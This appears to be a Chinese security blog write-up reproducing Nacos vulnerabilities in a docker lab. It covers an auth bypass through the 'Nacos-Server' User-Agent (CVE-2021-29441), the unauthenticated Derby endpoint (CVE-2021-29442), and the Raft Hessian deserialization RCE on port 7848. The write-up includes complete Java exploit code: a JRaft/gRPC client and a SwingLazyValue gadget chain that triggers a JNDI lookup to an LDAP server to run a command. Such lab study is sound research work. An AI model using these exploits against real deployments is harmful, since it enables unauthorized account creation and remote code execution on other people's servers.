前言
最近在看Java微服务相关的知识,那就顺便学一下Nacos相关的漏洞
简介
NACOS的官网:https://nacos.io/
Nacos 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
未授权访问漏洞(CVE-2021-29441)
影响版本
Nacos <= 2.0.0-ALPHA.1或者<=1.4.0
漏洞详情
nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。
复现
这里直接用vulhub的环境即可
访问nacos/v1/auth/users?pageNo=1&pageSize=9接口

正常来说访问是403的,我们UA头加上Nacos-Server就可以绕过验证,此时就为200了

此时我们可以POST访问nacos/v1/auth/users接口,body为username=clown&password=clown,添加一个新用户

然后我们就可以直接用该用户去登录后台了

可以看到我们的用户是添加成功了,回来的是用户名和加密密码
未授权接口命令执行漏洞(CVE-2021-29442)
影响版本
Nacos < 1.4.1
漏洞详情
在Nacos 1.4.1之前的版本中,一些API端点(如/nacos/v1/cs/ops/derby
)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意Derby SQL语句和 Java 代码。
复现
访问一下/nacos/v1/cs/ops/derby接口

可以看到未鉴权
Derby是用java编写的一个数据库,可以上传jar包rce,直接用vulhub的poc验证即可(原理先空着🥲)
python poc.py -t http://your-ip:8848 -c "root"
|

Raft Hessian反序列化
介绍
漏洞影响的范围是nacos的7848端口
7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化
Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
所以影响范围为:
1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
2.0.0 <= Nacos < 2.2.3 任意模式启动均受到影响
前置知识了解
grpc-java
nacos的客户端和和server之间是通过HTTP来通信的,而集群节点间是以grpc来通信的,所以我们等会构造数据包的时候就是以grpc的形式
grpc的使用可以参考一下官方文档:https://grpc.io/docs/languages/java/generated-code/
还有官方的代码仓库:https://github.com/grpc/grpc-java
先添加依赖
<dependency> <groupId>io.grpc</groupId> <artifactId>grpc-netty-shaded</artifactId> <version>1.50.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>io.grpc</groupId> <artifactId>grpc-protobuf</artifactId> <version>1.50.2</version> </dependency> <dependency> <groupId>io.grpc</groupId> <artifactId>grpc-stub</artifactId> <version>1.50.2</version> </dependency>
<dependency> <groupId>io.grpc</groupId> <artifactId>grpc-api</artifactId> <version>1.50.2</version> </dependency>
|
定义proto文件
在src/main目录下创建proto目录,然后创建一个proto文件
syntax = "proto3";
option java_multiple_files = true; option java_package = "com.example.grpc.api";
service Greeter { rpc SayHello (HelloRequest) returns (HelloReply) {} }
message HelloRequest { string name = 1; }
message HelloReply { string message = 1; }
|

生成代码
可以用Maven插件或者命令行工具生成
插件的用法可以看官方文档:https://grpc.io/docs/languages/java/generated-code/#codegen
emmm这里我的插件依赖一直是红的,用不了
这里还是用命令行的形式
首先下载protobuf:https://github.com/protocolbuffers/protobuf
然后下载插件:https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/
接下来进到我们的proto目录,然后将刚刚下载的grpc-java插件移到这里并重命名为protoc-gen-grpc-java

然后用下面命令生成代码
protoc --plugin=protoc-gen-grpc-java.exe --grpc-java_out=../java --java_out=../java helloworld.proto
|
这里要注意一下protobuf的版本,我用比较新的版本生成的代码会有些依赖没有,换成比较低的23.2版本才行

然后就是实现具体的代码
编写服务端实现代码
package com.example.grpc.service;
import com.example.grpc.api.GreeterGrpc; import com.example.grpc.api.HelloReply; import com.example.grpc.api.HelloRequest; import io.grpc.stub.StreamObserver;
public class GreeterService extends GreeterGrpc.GreeterImplBase {
@Override public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver) { String name = request.getName(); HelloReply helloReply = HelloReply.newBuilder().setMessage("Hello, "+name).build(); responseObserver.onNext(helloReply); responseObserver.onCompleted(); } }
|
运行服务
package com.example.grpc.service;
import io.grpc.Server; import io.grpc.ServerBuilder;
public class GreeterServer { public static void main(String[] args) throws Exception{ int port = 8888; Server server = ServerBuilder.forPort(port).addService(new GreeterService()).build(); server.start();
System.out.println("Running..."); server.awaitTermination(); } }
|
实现客户端代码
package com.example.grpc.client;
import com.example.grpc.api.GreeterGrpc; import com.example.grpc.api.HelloReply; import com.example.grpc.api.HelloRequest; import io.grpc.Channel; import io.grpc.ManagedChannelBuilder;
public class GreeterClient { public static void main(String[] args) { String host = "127.0.0.1"; int port = 8888; Channel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build(); GreeterGrpc.GreeterBlockingStub greeterBlockingStub = GreeterGrpc.newBlockingStub(channel); HelloRequest helloRequest = HelloRequest.newBuilder().setName("clown").build(); HelloReply helloReply = greeterBlockingStub.sayHello(helloRequest); System.out.println(helloReply.getMessage()); } }
|

JRaft协议
有关Raft算法的知识需要提前了解一下,Raft是一种常用于集群间数据同步的共识算法,JRaft是其java实现,这个就不在这里多介绍了,可以看一下官方文档:https://www.sofastack.tech/projects/sofa-jraft/overview/
环境配置
这里下载一个2.2.2版本的nacos:https://github.com/alibaba/nacos/releases/tag/2.2.2
因为这里只需要启动单机模式即可验证,而且默认启动内嵌Derby数据库,可以写一个简单的docker来配置
dockerfile文件
FROM docker.xuanyuan.me/openjdk:8u342-jre
ADD nacos-server-2.2.2.tar.gz /root
RUN apt update && \ apt install net-tools procps -y
WORKDIR /root
|
docker-compose文件
version: '3'
services: nacos: build: . container_name: nacos ports: - 5005:5005 - 7848:7848 - 8848:8848 environment: - JAVA_OPT=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 command: - /bin/sh - -c - | bash nacos/bin/startup.sh -m standalone tail -f nacos/logs/start.out
|
分析
可以看一下修复的补丁:https://github.com/alibaba/nacos/pull/10542/files
看修复的补丁我们也可以很明显地知道,他加了一个Hessian反序列化的白名单

我们先找找他是在哪里进行的Hessian反序列化
我们可以直接下载源码来看

可以看到这里默认用的就是Hessian,com.alibaba.nacos.consistency.SerializeFactory#getDefault
序列化工厂类
反序列化的地方也很容易知道

可以看到有漏洞的版本没有任何过滤
本地启动
就是突然想记录一下(
找到这样一篇文章:https://blog.csdn.net/qq_41316955/article/details/135467159
根据他的步骤来
我们要先编译一下项目,目的是为了生成一下grpc的代码

然后去consistency目录

添加proto目录为Source Root
然后找到nacos-console这个模块,直接运行console模块里的 com.alibaba.nacos.Nacos.java,在IDEA的JVM的启动参数配置为单机启动和配置nacos的工作目录
-Dnacos.standalone=true -Dnacos.home=D:\CTF\Java\Nacos\nacos-2.2.2\nacos-2.2.2
|

然后我们现在再启动就可以了

断点调试
这里可以参考前面写的java远程调试,之前没详细记录,这里再顺便写一下
前面的docker已经开放了5005的远程调试端口给我们了
这里开一个jvm debug选项

然后启动即可

目前就是知道了hessian反序列化,但是在哪里调用,在哪里触发呢
如果要发生反序列化,那就肯定是在发生数据读取或者应用的地方,在JRaft中,提交的任务最终将会复制应用到所有 raft 节点上的状态机。onApply 是StateMachine最核心的方法。
nacos这里就是在com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply
方法

我们接下来构造一个JRaft写请求去看看他的调用堆栈
构造请求
这里我们需要去构建一个写请求(WriteRequest),模拟数据变更
grpc所需要的proto文件在nacos-2.2.2/consistency/src/main/proto/
里面
去看源码可以看到,有关一些类并不存在

这些都在.proto文件里面,将该文件放到我们前面的grpc项目进行编译生成代码
.\protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=../java --java_out=../java consistency.proto
|
然后我们参考JRaft的文档去写客户端:https://www.sofastack.tech/projects/sofa-jraft/counter-example/(但是不太好写,我也不知道他们是咋参考的🥲)
引入下面的依赖:
<dependency> <groupId>com.alipay.sofa</groupId> <artifactId>jraft-core</artifactId> <version>1.3.12</version> </dependency> <dependency> <groupId>com.alipay.sofa</groupId> <artifactId>rpc-grpc-impl</artifactId> <version>1.3.12</version> </dependency>
|
最后可以写出下面的客户端,直接copy文章的,然后让ds给我加了些注释:
package com.example.grpc.client;
import com.alibaba.nacos.consistency.entity.WriteRequest; import com.alipay.sofa.jraft.entity.PeerId; import com.alipay.sofa.jraft.option.CliOptions; import com.alipay.sofa.jraft.rpc.impl.GrpcClient; import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper; import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl; import com.google.protobuf.ByteString; import com.google.protobuf.Message; import java.lang.reflect.Field; import java.util.Map;
public class NacosClient { public static void main(String[] args) throws Exception { String address = "127.0.0.1:7848"; byte[] poc = Poc.getPoc();
CliClientServiceImpl cliClientService = new CliClientServiceImpl(); cliClientService.init(new CliOptions());
PeerId leader = PeerId.parsePeer(address);
WriteRequest request = WriteRequest.newBuilder()
.setGroup("naming_service_metadata")
.setData(ByteString.copyFrom(poc)) .build();
GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();
Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses"); parserClassesField.setAccessible(true); Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient);
parserClasses.put(WriteRequest.class.getName(), WriteRequest.getDefaultInstance()); MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
Object res = grpcClient.invokeSync(leader.getEndpoint(), request, 5000);
System.out.println("Received response: " + res); } }
|
这里我们先随便发一点数据过去,目的是看一下调用堆栈,看看是怎么走到反序列化的地方的

这里调用堆栈就很清晰了,就不过多解释了
gadget构造
这里挑一条链子打,采用y4师傅里的,打SwingLazyValue的链子,但是这里环境用的nacos2.2.2版本用的hessian-4.0.63.jar,该版本的jar有内置的黑名单
y4师傅这里采用的是jndi配合jackson来打,因为nacos是springboot,内置了jackson
前半部分就用HashMap来触发UIDefaults.get()
这里写出的poc类如下:
package com.example.grpc.client;
import com.caucho.hessian.io.Hessian2Output; import sun.swing.SwingLazyValue; import javax.swing.*; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class Poc { public static byte[] getPoc() throws Exception{ SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/Deserialize/Jackson/Command/Y2FsYw=="});
UIDefaults u1 = new UIDefaults(); UIDefaults u2 = new UIDefaults(); u1.put("aaa", swingLazyValue); u2.put("aaa", swingLazyValue);
Map map = makeMap(u1, u2); ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); output.getSerializerFactory().setAllowNonSerializable(true); output.writeObject(map); output.flush();
return baos.toByteArray(); } public static void setFieldValue(Object obj, String fieldName, Object value)throws Exception{ Class clazz = obj.getClass(); Field declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj, value); } public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } }
|
然后前面的客户端代码只要改一下,调用getPoc就可以获取payload的字节数组了
然后这里用X1r0z师傅的jndimap工具来起一个监听

因为这里nacos在docker里面,所以用curl来进行验证
emmm但是很怪,没打通,返回了一个报错

不过打jndi就要求环境需要出网
坑点
这里的payload只能打一次,如果打第二次就会发生

调试的时候他也不会进入onApply函数的断点了
需要销毁环境重建才行,不过这里nacos不止一个RaftGroupService
至少有三个
naming_persistent_service_v2 naming_instance_metadata naming_service_metadata
|

所以可以通过这样设置打三次
参考文章
https://l3yx.github.io/2023/06/09/Nacos-Raft-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://blog.csdn.net/baidu_25299117/article/details/140476392
https://lmboke.com/archives/nacos-jraft-hessian-fan-xu-lie-hua-fen-xi-xiang-qing
https://y4er.com/posts/nacos-hessian-rce/
还有其他的链子可以看X1r0z师傅的博客:https://exp10it.io/2023/06/nacos-jraft-hessian-deserialization-rce-analysis/